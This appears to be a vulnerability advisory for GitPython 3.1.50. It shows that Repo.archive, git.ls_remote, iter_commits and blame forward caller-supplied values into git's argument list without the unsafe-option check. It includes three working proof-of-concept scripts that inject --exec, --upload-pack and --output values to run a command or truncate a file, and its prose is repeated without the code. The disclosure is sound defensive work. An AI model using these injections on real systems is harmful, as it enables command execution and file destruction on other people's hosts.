Summary
GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().
That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:
-
Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --exec → arbitrary command execution under default Git configuration (no protocol.ext.allow needed).
-
repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.
-
Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).
The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.
Details
GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:
unsafe_git_fetch_options = [
# Arbitrary command execution.
"--upload-pack",
"--receive-pack",
# Arbitrary file overwrite.
"--exec",
]
and enforces them via Git.check_unsafe_options() (git/cmd.py:963):
def check_unsafe_options(cls, options, unsafe_options):
...
if unsafe_option is not None:
raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")
But check_unsafe_options is invoked from only five sites, all network commands:
git/remote.py:1071 Remote.fetch
git/remote.py:1125 Remote.pull
git/remote.py:1198 Remote.push
git/repo/base.py:1410 / :1412 Repo.clone_from
The following sinks call git with caller-controlled options/positionals and are not guarded:
1. Repo.archive — command execution (git/repo/base.py:1623)
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
...
self.git.archive("--", treeish, *path, **kwargs)
return self
treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:
git archive --remote=. --exec=<cmd> -- <treeish>
git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).
2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)
transform_kwarg dashifies upload_pack → --upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.
This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.
3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)
# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths]
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)
rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:
git rev-list --output=/path --
git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.
PoC
All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.
Install
python3 -m venv venv && . venv/bin/activate
pip install GitPython # resolves to 3.1.50
python -c "import git; print(git.__version__)" # 3.1.50
PoC 1 — command execution via Repo.archive
# archive_rce.py
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)
# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])
print('[+] marker present:', os.path.exists(marker))
Verbatim output:
[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True
git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.
PoC 2 — command execution via git.ls_remote(upload_pack=...)
# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))
Verbatim output:
[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
PoC 3 — arbitrary file overwrite via a benign-looking rev
# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim # value an app forwards as a "ref/branch"
try:
list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')
Verbatim output:
[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Summary
GitPython spawns the real
gitbinary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack,--receive-pack,--exec,-c,--config, …) that can be abused to run arbitrary commands, and enforces them withGit.check_unsafe_options().That enforcement is only wired into the network commands —
clone_from,Remote.fetch,Remote.pull,Remote.push. Several other public APIs that also forward caller-controlled values into thegitargv have no guard at all:Repo.archive(ostream, treeish=None, prefix=None, **kwargs)forwards**kwargsverbatim intogit archive. An attacker-influenced options mapping such as{"remote": ".", "exec": "<cmd>"}becomesgit archive --remote=. --exec=<cmd> -- <treeish>, andgit archive --remote=<local repo>invokesgit-upload-archivewhose path is overridden by--exec→ arbitrary command execution under default Git configuration (noprotocol.ext.allowneeded).repo.git.ls_remote(<url>, upload_pack="<cmd>")(and the dynamic-command builder generally) turns theupload_packkwarg into--upload-pack=<cmd>with no guard → arbitrary command execution.Repo.iter_commits(rev)andRepo.blame(rev, file)place the caller'srevvalue into the argv before the--end-of-options separator and apply no leading-dash check. A benign-looking ref value such as--output=/path/to/fileis parsed bygit rev-list/git blameas the--outputoption, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the
check_unsafe_options/ end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.Details
GitPython explicitly recognises these options as command-execution vectors.
git/remote.py:535:and enforces them via
Git.check_unsafe_options()(git/cmd.py:963):But
check_unsafe_optionsis invoked from only five sites, all network commands:The following sinks call
gitwith caller-controlled options/positionals and are not guarded:1.
Repo.archive— command execution (git/repo/base.py:1623)treeishandpathare correctly placed after--, but**kwargsare converted byGit.transform_kwarg(git/cmd.py:1487) into--<name>=<value>flags and inserted before the--by_call_process, with nocheck_unsafe_options.Repo.archivealready documents user-facing kwargs (format,prefix,path), so forwarding a caller options mapping is an expected usage. Final argv:git archive --remote=<repo>runs the upload-archive helper;--exec=<cmd>overrides the helper path, executing<cmd>on the host. This works with default Git config — it does not rely on theext::transport (which is blocked by default).2.
repo.git.ls_remote(..., upload_pack=...)— command execution (dynamic builder,git/cmd.py:1487)transform_kwargdashifiesupload_pack→--upload-pack=<value>.git ls-remote <local-repo> --upload-pack=<cmd>executes<cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), andls_remotehas nocheck_unsafe_options.This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for
fetch/pull/push/clone_from— butls_remoteand the rest of the dynamic surface were left unpatched.3.
Repo.iter_commits/Repo.blame— arbitrary file overwrite (git/objects/commit.py:348,git/repo/base.py:1199)revis placed before--, with no leading-dash check anywhere in the path. A caller passingrev="--output=/path"(a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:git rev-list/log/blamehonour--output=<file>, whichopen()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.PoC
All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.
Install
PoC 1 — command execution via
Repo.archiveVerbatim output:
git config --get protocol.ext.allowreturns nothing (unset = default), confirming no special config is required.PoC 2 — command execution via
git.ls_remote(upload_pack=...)Verbatim output:
PoC 3 — arbitrary file overwrite via a benign-looking
revVerbatim output: